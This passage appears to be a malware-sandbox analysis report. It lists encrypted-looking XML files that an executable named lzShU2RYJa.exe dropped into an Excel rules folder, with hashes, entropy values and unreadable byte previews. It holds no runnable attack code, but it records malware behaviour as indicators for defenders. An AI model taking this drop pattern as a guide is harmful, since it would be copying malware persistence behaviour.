SHA-512:	7308A0779E19B400DF0464A00059153EAE2F14810BE084E7046E454A973640859E5233E2C7D138454DDD7978BD95F1F95C9EB7DCAECEE1EDDA4F87DE661FF77F
Malicious:	false
Preview:	<?xml.../....X..Gj.A.E]..b]. ^1.e....:...4..?..$8.BVu....G..{..Bw.Rq:[.A..L.@@...Ot.#I..Ln.i.$.b?'...R.]......g8.kW...-..Co.+.P....l....\|.....O.#$.d.J.......0...A..7...@...g.?lRH)....%;..IJ.N1J.Ik8.p<'....$.........\|nq.4.......\|.... ....&..C .'V..E..8.D.).. `.&.l.< .......K.G..i..g...3.p.!'orlYJm]..9l.m.....M[0.h....\.m[...5].........h>.........`..-.J..-.XL.A...?..w...F..J....w..],s.0!..B..i.........T.xo.pjG.......R...e....._.....Nc.$...?L...~Lo-m.K3....Q....1.".<c...U.A...?.C.j.d........~...)..s..F.T.J?.~.OJ.p.._VdH4.J...x.2...Y;..?R...w......\.Q.\..1....,....IV....:..........pmuN..b..H..g>..{.u6Ls.$.DTy2.;U..v...c...7..&.)M. n.P0DKr...C.lM.`La.@.J9i....Lmb....J.q.>.A7s..e.Cz.b4....Y.}.C....ED.....1.A.A.m.>.....s.?...Cn.,.-....f@../...y...:..7B.>..f.7%.\.V.R7.n..=..\|u..waM..[..^1cN..b.J..^.......#.....yg.C...k\.OX.....HDF"pv..<.........\|{V#@...8.m..@.....R ..6.6.;......\|E..ZVC.S..\a&]....`q......).0..>.%..h. .L.$_.H[...k.....V......z..a......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68019v2.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.889311441208901
Encrypted:	false
SSDEEP:	48:b4DfJFkb+13vPfzliZPvKkgJ0KOZuqGd+nnv+B4m5QFD:kDFxP7AZakg3OoqGdG9
MD5:	57DB60568941D3995FD758FC27387820
SHA1:	096B9F3E9CC30D8D87DFE07A935C5AED897B7093
SHA-256:	9F7A595A3308F300CA56AC9C927ADCD4E427ADA228E3E1A17DCB3B44FD8FDF22
SHA-512:	D6F66FD26896FB261731B3AA0C3B4A993773B7C46C6CEDA96407432BC469DF8902C5865D512074E179CBD296CCEFF351B72A4F09B1F8019F8D72AB052BCD8B8E
Malicious:	false
Preview:	<?xml5......#.V.....7......[.y..BVVg..g.sn.H.<..%.......\..>.6..C..?/......i{....ja~..^..4..q.<..^/....>..ZJ.1...w2........o.D7.J..S... .j.\..M.........c..$...\cMJ..........x...-........a....l.\|X...TB.....Z.S-O...U S.o4]0..<..,$.)s\|k...=?...h\....."L.)b?.....I....P.K/"O.JZ,.....K&..qs.5.X.pV.W..(...}h.V..R!j...3..W...5I...8.(..../m...!.....`..d$02..u..+o".l.=^..T...o...l..i..Aq....g...\|.+._...3..96+...:'G/%;[SP.j.MD...'......'...............Q..E.....mGl.i/..b.P$..h.4..\q.n.S;..5oxu....s..#}gF.e. ......A......3...I......."sj.rV^e..j.......{....N...?.HYL......1&~.......A....\c9.Z......o..rB.=.:.UDN...\Q../gZ..ne....F.../....SX!h..8~'...9..: ).......sP.fX.....w...#.....p..,...{.W7..T...........M..Q........9#..$A./S...>.m$....w~..#.QJ.....M..\y}A.l...._%..t...n.<*E../ %...G.x...RN>c.bZ.b.w..P.N.s&.+...[~.n8.my.{<y`..%Nl..q........v...<.#O..a..#..t..UE.B.oZ...u........7.$..6.j;......s."......6.5X.....,.J........Fj..6........v.......c...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68020v3.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1354
Entropy (8bit):	7.846581791909889
Encrypted:	false
SSDEEP:	24:Eo1DhDnE6Nch/6FzNnnSv/lOZnGxJA43SdNd65nzSfEfGVqs++s7Zj4wrELWx6Gy:NTTpQyF1o/AWkl65nzSfE+qsOVj7OE6t
MD5:	E8A7E5D515D2CEF3CB285C9673341C29
SHA1:	DB2DDAD5EEFF94317B90BE85159318B6E38A1ECC
SHA-256:	5F7E1023E4C4936E4A87F9A39886B841DA81597B9CA5C10D47F05E82F7D39643
SHA-512:	983DD9781EE3172FE5F9BF4F8BF5EDE69A2E9E5FC588F51377BD3FE5FFD11CFA6143E62676FD44914D4A2812C6301988527F588902AED3B4295B88AFF27AC312
Malicious:	false
Preview:	<?xml.........7.~.'...O.......x.........q...........j.#.....Y.m.S.hM.?w.W....5..6..L2.v..Q......8+..r.....6.h\|.2..I...A.`....s...q.e.0..i......CO7..~...`..A(h%......T..(.."..T.O.$......(.H1zij.#..........\..%.A.,.lz....d%S.O..@#..#l+.....L.....Q......p.........K.........J...<.EE...-}l..]IA.k...1.,R.....\|..-T.z.@../R..`S....%..(....]....,\...C........d....Pv....Lj.._...V.E\#1..t...h../..E.]... +X.N..W).H..i.e.-.s~FS.,.+.... ...6.........S....M.Ov+.H...J..J...N...G..0.r.;...l.n.,.4.l.d7/.C`.s.N..?y2_.?e.w]..5.....(...X.A.n.5........>.b....`2.t......V...6 .....7T\|..es-.%...+.......D..:.....,..z.h.dQ............g.+S...z...\|.JF.....l./.}......!.%..=.-......J.3...3..c..K...k.j.X..8......vij...&....c]..{.Kb...EXE7..~x....J>..~..L.{.c....Q?.ll..,.....n. ...s..r..qj.f....Z..d...n..&B..........kps.o..}.'m.._.H>.2Kqo-.I.j..Su..m...~luBM...W/..i......B5.....AG0..@.B.g.]0i-U.....\X..J.y]H..kb.^Q..f.].*..l..%J.k.d......<.!+.Z.-....h......N..34...1.o(.$.^

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68022v8.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	7.895863109574819
Encrypted:	false
SSDEEP:	48:3HH9Pge0ltP8+98YJ3z10mlw6dCH175NymFD:3hL0lh8ODTwp1em9
MD5:	26E90F7D10E3FBD496F38E69E1B28165
SHA1:	C053BDB6DB9227374941F8FFD69AB9EB988E4A54
SHA-256:	4BC99E30916DE4CC2C2DD882ADC2A762599342323F934518A8AA0296DBF713B6
SHA-512:	027A0EE4234DB14EEB20E2009B11A3EE5C7C835D3617876442264C2099108B52D483399364402581FEDC37075BED3A0F3F7360C968BC9EA0211AA28C26D54091
Malicious:	false
Preview:	<?xml\|.m.L@....Y0..V.9.....L.A\|.....gJ.BP..^..s.f...R...t....,\....RX...N...wPL<s>.R.5.......k....=.V.?,.^.A.g...f.[.W.9x.....,.Vr.u..I.....!.Gv..7...a.5.?a,.G.v.......p.....ez..)_R.. ..SS.N$....c..m.6..ZR.Br.%\|...S...U?a.;.s......x...bw..7_......%cU.l....-&.><.`........n".).i.M.+......b.iv....1.Qlj...p...+Lb...,.......f........O.}.<......G..M._.....@.ki....O..s..Ao....=.}s[Y..s..`h..mT.T.kh.....L.]x._._..6..[g.;!X..c?.A8..".1....s.!....n........A.'..Y.p._s.=.23.;...T.l..@...{........u.....i..-..B....4..~...]......$.......l......K."....%.....w..e.^.OU.6.r.......U....6....v.a..>..d#.ci.0...O._.m>.L.9P...j;.w.H..@0.V..A.p....P..b.h...I..w."l......E...K.K.o...y....su.....&(.VG......=.....c..\.,.Q...=.6L.I.~.;..yj-.ep../.....,.%.l2...~"S.EU.$vAe..{qp.......[...:&....{H[.4.dJ.......U....^.`.....t..>.^cB....3i....H......k....d..'.]......X....0.......,*u.@...h\|3Yh. 8..D>}`P .k...XY.i.....n...!.a..Z._.md...]wx......lY.v./p...D...s.I..N.y.....5.\|!.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68023v2.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1509
Entropy (8bit):	7.862626838098251
Encrypted:	false
SSDEEP:	24:h2o/qooalsEcHkM3YV39ID5oaUpogCLFTRQU458ul7mGak5ZMdTTkgnixcVbD:Z/qoflqEM3YV395tpogyVQ151NWtfixk
MD5:	80CD05B98B5E15D393C6F0B991475CFE
SHA1:	2A51632D2A246F7A3E6A384660A1FD8619C60071
SHA-256:	DB8345B845040B380E2E0E0E71DD24B2B92DE77631D29590347612C6E72F7190
SHA-512:	151A440D89DDDBC5036E7AED236D973E6E15482D7C23997D882A2AB39D904B251C859E0E49A8344377E7FBFC9942507DAD440E3DAD64E66300D391B8D92B2092
Malicious:	false
Preview:	<?xml~N....`G....<.M...pG'.C.z..x.5...h...6....6.0$..Px.e..$....H....'V..._.'/..@.q!....!...^.+...(.....I.:X..oG....+..)....[}..d..hK..B..x@WK..6.3f.K.<96....r.UWuz7..L..ZH-......\.&Qd._3sz..B.h~$`..ic.E.....~.}>B..,m.=7W.;.7.0.U`......v.8...5+N-.........9B.b{..a...D....].X.{.bd.$]...8j..8`..........S..G...c.[.lR.!.i..$....AB4.n.f....$....E>.......C.(.U..BZe.&..s7.)..8y.9.xn....S=\.+}.m...y&.J...<......S...zB....N..!...L/9..`29<..`.....';.t..B.t....D.'...U.v.Q....o.A.}.PZ'OJ(..w.z.....>.@p....cJ.\?.........H.....4c(.....X Fb.}p7T7b.......Dk;..g..W..$Cb).!.=\|.........[)4..../.f.'.N.m.!/c...,.}.'..C._m2.'.%...u.x...!L..E..9..Y.....6..........J.@....k.V..HC.t...V.^q.......X....\|.....z..U.+.C..!.B.g.._...+L......[..NiR..x..Sk.T......n\|..(..#.....).2..2.`s.=.~..f.K...9Su.YDj.].9.L. {J.%J..Zzw...R.r.8T.;.tF.hX.>..G..0....@....xb,.s=.R....))X....,.."....WO...W.n.*'..'....#..>)..;Q.#.7.Vs.40S..<.L..`5..B.....Hh(.E.L.B.i.9..W.+.n..^....fSj..9

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68024v2.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2007
Entropy (8bit):	7.903371815342862
Encrypted:	false
SSDEEP:	48:YV1Hr/WwfHUQMiPrS74q6Hw7eWhZN2shXu9bFD:YjVfzSUq6Hw6WXN2shGb9
MD5:	A17E5BBCA85BFDE5FBC26744D5574AF4
SHA1:	667D6A82524864F9FE33E7753BAC79C0BFFC5859
SHA-256:	288BA43486F0712AADCE35BA487233315F9AEE5159167FB97FF281CAB73128D4
SHA-512:	4B108D44AD4BFCD66C3BE0D09F5678ED8FCE43F41D1F7981F6B31DEEB94630C58B6B5F7C590F92E1F4D32DC48A5D2C55124543554A4B1BFA6237FFC958AEDAE5
Malicious:	false
Preview:	<?xmlX.A.t.1...._R.!.G3.Vn.EU.]"........DGN+.R..>_.=jA-RLt............QN!..s(...................;loG.@...i.&M.[.Vm"2D}......^".u>xKaI...g..k...#.U.9..9.2.{h....../g.Z.D..9d..Z..P]eX!.. .rcA=..-....u].O..0r\(?..E.j.$...q..?K&R.Q...r2.....\Wy..!..xD.U.....:.73..~...&i..[...vD%...W.Kj..B..%^.....m.e....h}&.....q...9sW.h,..D.y2.._{..Q.....o@"#..$..l1^..`.WH>.&.]..r..d........e..M!.{.5..R.u....{w.!.x....y...a...-........m.....e&?.K..a...w,.O..;Qj.g..D.L[._.;4y.._.D......2.....W.\.h:f.W!j..'..e...X...ag....V..".D.kt........U\.....]s...z.P..".7..G..........._]....d.\|~q..>.C.....1.A.=.sLZ...C.6.)[...c`U.D...-Swx..U.&....S...N2}wC..5.;..)G6OD.y.2.eU...{Q;R.e...>..{....<u.g.....d0.I_Z2.!..............[.;AE.0...l2.....OW...x..<.....c.>.......]........O?j.".f...$..\.C...~.!.y.U._=_BU`.Gj...N.b>L.. ^x...K..g{.Xy.g...+. ....0(..d........=.V.......p(..en.....n.....R..........'.....#G..{6..B.b.....Q...x..P...\|o...hYQ........m..).E..p...x.......@.4..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68025v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1276
Entropy (8bit):	7.859421673448715
Encrypted:	false
SSDEEP:	24:02pn05cAFLIYZIs6Vq8yj0maf7XJrfBrFisb3QT6ZigQtJNLKBVbD:02prAFLpt6+mBpHbxZigfBFD
MD5:	BDED9AE19CFF4A1FE0C14E405E039AAF
SHA1:	C1E045A189307EF1D6135318A500A7B562267ABE
SHA-256:	034F877B95A27F2896988F2A2DB3545D7665B27EAA4B4B7071F94BED93BF26C2
SHA-512:	FEFCD77016D2BE2E28F3957543C79FF5F41EEFCA3B00A4B9C6A121236DD28F3341CDD7CBEAEE6542A5B4FEF0BF2BC22CB3451AC0853A25A9EAA5EEF6ED96D731
Malicious:	false
Preview:	<?xmlGP..Q....,#...ne......._...q.$..0\|p..LZ..:.Q.........n........1.. L#a./9+.X=&...ll...#Txq.a.#..@..............&.y......pO._..dn<.^+...~.R.A%E....ti......RM.K...~}.....{........fg\|..B<..Y!......^....9J..z..oV.X..t..> .j#..\...!..D.Df.K.3.....dzo..j$.V~...jo..e..........(.....b53...o..f.U`.@:.;...V ..g6..]Q(.....@.J.kEo..:. .G.qR.#....L..........?(..........JA.X...ly(.......3....N..<X.8..=.:..........Tk.5.fMv..?...aj}b.1....2..Pq...Z....ya..%.l.....l.rY.k.._\.....F4.........~(.L...s.".?.{obb@S..qU..xHp...@u..V....IxvW.Ed.m_..T.,4s....-m?.b....l.IR......f.B.....8=`.....7D..O.R...$..6i....g+......ac.......0.>k<.I..Z..a...g...l.uf?(f..B.h~Z..e.Q6...>.Z[La....Jr.j/>.6u}X...C..9....`..e.X...i....0..}......c.d.......G.7.......9.u...i...w.Y....k..K+....kf.........0.R.i./.n.Fm6}.%`.]wOw...&.[....g.C.j...+:.+..7.fp.\.....=.......T.......L;.i.{....1..b.......R.x5B.Z..m.G....F'X~......NG....&{w)^EY...@..@V._.51nK...._z.....\O-

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68026v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2037
Entropy (8bit):	7.8988322627766365
Encrypted:	false
SSDEEP:	48:D4jILaQrkLg+K/vPF8Xq5HOgMrAr4fmrGFrZm9CBWsDEqG+DFD:OIOQrkMti6ogY5hhkCdDEqG+D9
MD5:	17ED5B7DDFD10BED85A14DD41047D1A5
SHA1:	799F1D191ADD968D71370C689330556E7E7473C4
SHA-256:	95A89B0398495B30ACE3FCA97FB3F71EFEC4CECF6A4BF9590DF1D724A9E968D0
SHA-512:	E48C61DA32CA0B3A357439C9546A6F9B46CE451E2AD93809BA8716B0F88768588EEAC0FF1D0CBCCD2BFE8D83DB1DA8EA72F04A1EBA03873AA53C4188361236E5
Malicious:	false
Preview:	<?xml..zwY.....A._3S...zw..m.0.......%......6H.I....$..,..-,...pU.?u....e..=..n.E......$..Si.K.n.gr....3..u.R..A]9...2..F=.C..\|..;n\|.....@h-..1......J...W....fQ.;7T.aP........e.c.4@.%...mj.1....N.j...M... ~L.{.#U......%..8)..E..`dt.dS....m].K...P..:...{..E5.....MJ.5...O.F.H...u....x...2../...Guv.,]V.F.j.F....(.o..;.3....b....>.m...+)....U.w.B..........M...c.E-...Ej,.A..4.1bd.w4.6..z..dL...,...8u.\x..ka....JGr..33.<..o...7.j\N1.;&.S.E..+7.P..1t.:.t(E..U...y;.H)J...^..(...-.f.X'.[...i@sX.y.XY&.....ls.../..ftw.H.Th`p.....jvjH....`.......^~Hj.".N:w......9.K.R.z.j.E4q..8.. ..3.....[L.S. M..W..4..4.H.M..Oq0.H..w...}.....1{..G.I..0....H..O...?..me3.( +V..I..Y.>...:D.>..Y]....k....K.r....?x....bo......\`...j..C./9.f........F..L...s....P..C..Z.:..?....B.$...".....g.k....!./.sRgJ.....W..E..(ma..".~z.@K_O5g.. ..s..A.U.....a....dS.=...f.V...dt..z..y.....AN...<.... ........j...:.bs:....w..0..........p..,%..F.F..a....O...Y8....>..w.....g._....*.;.j.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68027v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1180
Entropy (8bit):	7.846379880251461
Encrypted:	false
SSDEEP:	24:lhjJwHVuJ/peYR5CEnTJ3zYfwFskWjEi6b9J5LqDfaL5zVOjYmDbVbD:XJQVuLd5CQFwwFcjElAa7wlbFD
MD5:	517A7CA2639C0E15AB05091E2DF3C70C
SHA1:	7B822AF592462CA7593B57BE224F13CB35C81027
SHA-256:	F661FC3B1E4CB6BB9A87DE1A5009B9DD7AB6FBF998CBFEBF797363AE304A0BCB
SHA-512:	1BFD07A42B94B6A421FCA42A2F98D3F070A21CB8022D8605E125CEE16D0472DCCAC1733D9BF434DFEDE09D48A0EFFD72108A2F1078E3BB4489509A67DA2C084A
Malicious:	false
Preview:	<?xml9.......O.&.n......Z.U...t......?.&.a.9..B1C.>..(......'%"...O.."\.'.{.._......(..M...h......h......P..............R.J..V..9..@."...u>..#F4.2E..ty.o_.B ..9...)...Wwg..a.t.u....D...A......%.LxJ...~$..A...".......[%..B.o..W.G(....L..2...$,v.R.d!.s....=.z.).?.r...v$V....j.&.HH.....N...T.pJ..[..W...m..4z/1.gt."...V.p..pqq..n.......C..6u........U........P11.`.u1=.b.p...\pf..E.....1$..-.+.x..F...]vP.<c...r..2.P.....Q.......Z.}..^0...K....8$. c..V.v.Q.M"...B.y.C.<.Aj..>x.k.8K.@.JN.>[..Q.Kv.'.4..a!f......v.6.L..$..`....r ..fpJ....C!`@.3eB..._.".V.;..L....K.5?yLL?`......:.p.C.....5. ..O<\|!4J...a..H.1+.=.-s....\|.q..&v_.....z.I......).R...vx..2.\|..rK...@V_.K.......4.ar.\|.$.m^.....%u.....s$;....FdI.^..le..+...i..n...G...T.f....S.HT..(.....\|.(...bL.o.....;j.\+.l!UKb".L..pY....iW...o.4...`..#!zs.w...].....WU...x..C.........h..J...f...=..A....?..=...7....w....j.3..Z...8.$;l(.m.......\|tOv.gPi.Wa(....7........\H....dHD....Fd!....X..3MG..i[>s.>..\.`^.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68028v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	7.759986809948377
Encrypted:	false
SSDEEP:	24:lyH7Iqwml6fk/AGpCC3amRw/OlbcUS+0vu1Etr0fVbD:+wmP/n3/7avn0fFD
MD5:	93306860859475FAEE2A1929C4D7AFAC
SHA1:	64D57F924D4B3CCC8F31BABF3348D2E8068AFAB6
SHA-256:	4318B488A3D198522CAC88BA450A0D30675D2F1D9C9CC4FAE62D2A7DD3E07854
SHA-512:	643C5B792F2ED64EC0AB3391AE6F7085EB47D614BEDBAEBC10B534356417949086185DFADD6ED310ADAE5B9E62A67BA1843CC7344B2209773406D38328DB7D23
Malicious:	false
Preview:	<?xmlG...n.N...h..2D.h..E......I.%UZ/H.....CB.u+..mP."O.. .v.1V./..VD.\...L....m....o:..Q.m...Ue#..Z..[.O.k....p.._...I1..^Pj.Xu.^?.<...!.....<5...V.......t...&.....7.ia..A.d.F.t.O.fR%?.. . 8..0.J..h..H..u^..BLhv...p..N..i..w..ow...@7. .}/+...M..Jj.%..FONk.T..&....;.0..p...,.Wqz.x`.......".......F8.........1v..F.M=....%+..........D.L...8...A...U...^../7.d.d......s...Dai:..J........r..AZ..!).k.XaMu......N.O......\W}..A.8...`=h............)..j..lG..L./..K.;.c.^`.b.x.Ix%..6...Vddal.K.....{...D.....H}M..6p.....k.\....d..d."Y.0..l.(.I..<...0~.bMG.O....s.l.l...6t.-........J .;.V.e...p_.9.t.a.O.Z.s\.[(b/!.J.2K7..=.....}J%... .\|S,>".R,z..#~....j.'5.a5..5e'y...*.~M....F...}.@..H..47.Sx.........:0.9...4.F....$u..3...a..........j4<G...{..D.,....N../....T..l...f...Hf..X.{5...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68029v2.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2224
Entropy (8bit):	7.9160496607478
Encrypted:	false
SSDEEP:	48:9qoJX0QR0MV3GyhqXOy29MGCbZbNTrU6y2FD:AyEQiM5GyhquMXbNNvUk9
MD5:	7C34BD1FFEF29F11F982CB4359EB4323
SHA1:	688065ADA9DFBCD787D761C74822F29E7E88985E
SHA-256:	3E4B2C87E7ACF790476BC8170399EEE57D4D9D04400D97B9E60B3AA3E52A7F76
SHA-512:	A4674B639255758758F443734E5D9E4E47175586176A8DBC280A9280DE045E7C0450D0CC2B5852B511417E0C257F9C104373C6E5E15A508BFBD0B4DEE433B1D4
Malicious:	false
Preview:	<?xml..H4."r.9..P.9@....G.V].W.:..~.6..K....8..m=!..a....O)T.t.X........2.{T.z...}Ba. ....WJ..,.......EB.Y.k....(..'_<...;..b.hX.`....3.....;^.....r~.Z..ar..y..Vv1.....t'....\|).9R>-.m.t..q..nd..Q...-.:........+[..(.`.]s.....4a/....y..m.%;....1Pi..........+,.......[z...........^Su..I.......fiv..AG.;...b.$r..M...:.{&.)z.Q....ouT.....YX7..W..r.4....\v....%..#...%.\\.F.<..}qs....I.......Q..U..c..8...[.....V....._...r..P..).t4.......W1..$..9..]........"...Y.'3........-.h>.....y.#..=@......]...yXG...8.L.U.J [.5.;_BeB...w.@....'.Ri...(y)EV.f......"..DB.s.U=.cU.tG(..b......z...w......=.....)..<+<.....E...0Z..&..0..6o... f;m$.KO...l 4...,......f.(K..43.....40........../......`...Tu.....Nj..>l.Bu....6..EB.;s."..S.>.Rfp...o)..1D...`._......Q..r[J8(...B...?$.k".~...6..7.T....$....A.......r...\8C/..<.O.eO..*.c.....#E..:.e.+.:.s........v.o~..n..c.a.GhI.E.:...........[.2.m..A.f.T.....x...-+.b...j.K..-N..).&.....v.tE.C..7.L>..W.J+...z#&.wm;.U..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68030v6.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1560
Entropy (8bit):	7.882888555702042
Encrypted:	false
SSDEEP:	24:APMyA4HOKFWmXspaQdlJggPtpWC0g261dHDZpGiGp5Y1aHXcOGDGV9ZVbD:iA4uKFtcpdlJtqjz6vHlp/kXoavZFD
MD5:	4A3F6FDAD89AF588EB636A84B470FE62
SHA1:	210906405400C234909144597D59D16CC8EDD9FD
SHA-256:	5D5469364539F5C4C76514A55D3F3EA539599467C12C2723403105A56DF9DA49
SHA-512:	841DDB0971CAE2BD6164704D3AC4387071D9208FA82C8D063CAA91CF1207C486AA085BBC29349F358F9BA769AD73CA0DA0641F7F1C45E173EA55B3003D932AEF
Malicious:	false
Preview:	<?xml.?.,.sb..r.4.C....;+?.{H..ZG.~..Kk......B..\....&...X....]..]..2.......xi...T.T%......L.Sj{Z..qj.E....Tw.,....-......8...n.r.h.Ew[P.......].9....^">T....Y4.......j....I.^.1.0........\|.!..o.f.s...kXmO..j.\.6s.v:._..D"...ud.~....bK)..p..v..T\.o..c.RPM.F.=....mN.....l+<E.}[..%yO..........I..C+...w{P..j@.5....w.u..._Z`...j.Yw9.....}....,$...1'"...z...M..y=..6.d.S.....Mq..3....;>.<...R...w....A.h'W.2B..../>.1x....."t.q.R...}...9.).............^[S.>...PW..._.f`U....B9..T.......2[=.d......9=..a\|.~...X`AM_+.0........5..y.....'._.w&..v.,.I.^..."3;y..66.G..\.u..L...`..J.....~z[.L.5y ..]u...Y.97W..~.d..;.AW.,Y.......9.On..A.....&....9...1m...y.).F..x..l.?]..~>.v/..XC..e.........5....[..to..#r....sl.+_..CS.ZZ.-..O.....a.?.m.n...`.p.L.\|^.........X3.....~.4J......N.aq.({K.MQa.X..-.b\#...*..S..v.:?@.X&Ft......7G.s.".1.EZj..Vr}N.P....<<.?1..MI...{...........p..s...g6...R.?...7 ..-..wEG..k....T..j.W..6..C...H.zJ........7..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68031v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1206
Entropy (8bit):	7.824996454774634
Encrypted:	false
SSDEEP:	24:cjVVk02WwOVSjXl1VCQ2LALYAwP+Qm6LPmCvcq/AOjaSt7fBhQ1PCMcsnVbD:gb2WPS51SkXwPC6zEqo037ZhpMFFD
MD5:	D422B0079B25C1A6EFEE779BFBA01292
SHA1:	9AA54230D9A1C388C5F7EE3C4E8627BDF1BDFE31
SHA-256:	9B7D46FFF9F375AD99F2356C7B1785744029ABC89D69E18C25CBF1FEFAFBC257
SHA-512:	76B04F2663A61926321395E9CBEEEFEA76521A5F49A52AE754E68B5BB050C1950C5F9F661272743125101D06CC368A74852FB9438D1F1820E5E5634F40ABF032
Malicious:	false
Preview:	<?xml\|.I0!`."1.YX\...16I.y<y..'! "......W.#.?i.k..Z......$...'...%..-.......,..@vS...>...@F..<..D.Y+.(.N;VIi..yS.i.._zb.$...F..W.x-Orz..t.tl..Lh.....ego..........F.Ty..V3.Z..#...0..c......$..j.&w..`...U1.1Z.x=@..+.....z}...[{..+....&....8..E.G......\.b(..q.NT........W<...!?.g.....3..A.SG.v.W.............vA.9..:...%....].e.`...em..m...Z.{.....;..^..D .\.#.5..h.....-..7/q...W7.FlWS..Y.......Z..mR....!.../....:@..V.%b{)9\.....@..XA...V.e\|..f~.s..&......(....PE0......!#.l...N..?....RfT...CE._.q.E............nx......Y~..4IIT..vW'z.<..3.t$......Mz....?...L.&.....'.t9..h9.k..7.;a....r.\|L..................6A..C.(y.P.....2..Z...........ll........z.._.A.'..F..\.E.f...V..Pm.L...k!...Y5pJ!c.i..l..^..vzb....v-v.....A....hE3.qX.X.....<6R.R.\.c/\.e.4X[s....l......?.i^...".t.......DF/E._<....C6J.e.k.LBf....1.xv....T.?.9...s...&..#..?P.....e.&.fd......o..9_.C5.....g..XC(..V....0..8V<.....JF.z...j.W....j.z%;.....?.0.y......,1......p..o..-......4..S..H.~

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68038v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.649586555158345
Encrypted:	false
SSDEEP:	12:4ILge0UBjma4NTHS/AknxBPTg1IFCd0BsobGkCUOCCGZ5rfIdZAqttmjVcii9a:4Icx0J4NbS/AMBPtF80BzGZCffIdjkVX
MD5:	2416FB58EF7E6F269C3741E8DAA5400F
SHA1:	362263120DED3DDD5DD9B58226A31CFAABD1D93F
SHA-256:	EF249B2915C0519BD408EC82EC988389036C423BDF28000B73C9957E328C6DE3
SHA-512:	9E0F4FA3BE2BAD24111D56AE37C40D3938D842E178169068C42B3AEE7BA75DA085A953335E74A51D96D4CE95BCE985A0F9E247233F41C520B1D6AB9177EE9671
Malicious:	false
Preview:	<?xml.@....F...y..w.v/j.p...O6...=.$...%.....Gy+3...e.M..tG.I.yz......U..T}.Y.^k._...D.I..M.kSnl.Rr.^...S..nE....sd(g.I..<4.x..g..... )..e.Lv....v........\|...ua"A..C..'F]m..M.n\..........\|Rv.#.4...6..j.....B..o].nde.R#j8h. 5.....N.dT....M@}..m....'.wBX..M.G.t%.U.y..0d.I...?..w...].!. k...w^d.....2l)..ly.E..A\.6..0....:.........Zv.k....sW.>@z!....3.l$v.u.....M]I.!..n!..o...U."...W;..8.(.T......C....L.+6.E....Y..<.d....e.z.o.".,<.mk..n.)..;.b....o?.H....4d......%n<.........;H......:Ft.....L].mq(3..F.k";A.NB%.]..L2.K..w.nV..>g.i}m......n.J...i..h'j...H..3.6L..XQ..%..'!.).b..wQ...Fo..bD.\F.......N..Hf\|.....&.q.y.W.SN z...O.2itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68039v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1044
Entropy (8bit):	7.811255663283582
Encrypted:	false
SSDEEP:	24:QrV8FsYeH+vJhHQ8Vp5oAyVQhN7hRBKJRSL9m1jtXfPhAUSVbD:YSRi+vJhHj5iVQ/hjKJm9mnHhIFD
MD5:	7F051CCC126A7CD7DD9D577662BE0BE4
SHA1:	077412218152779EFC349572094C1BA23E27040B
SHA-256:	C65BD3F1EBC9E372EE0E980A67D373E429FAB65A4A90BE5FAF9F69819DBFB59A
SHA-512:	A1DD32B3FA14E739D6D7B52EAF037F85D18588D4C725C07061264758B8F7388A838484931558E2954B00E822E4EE38DB1C418D2181D51D6D68D3A51F8F287E99
Malicious:	false
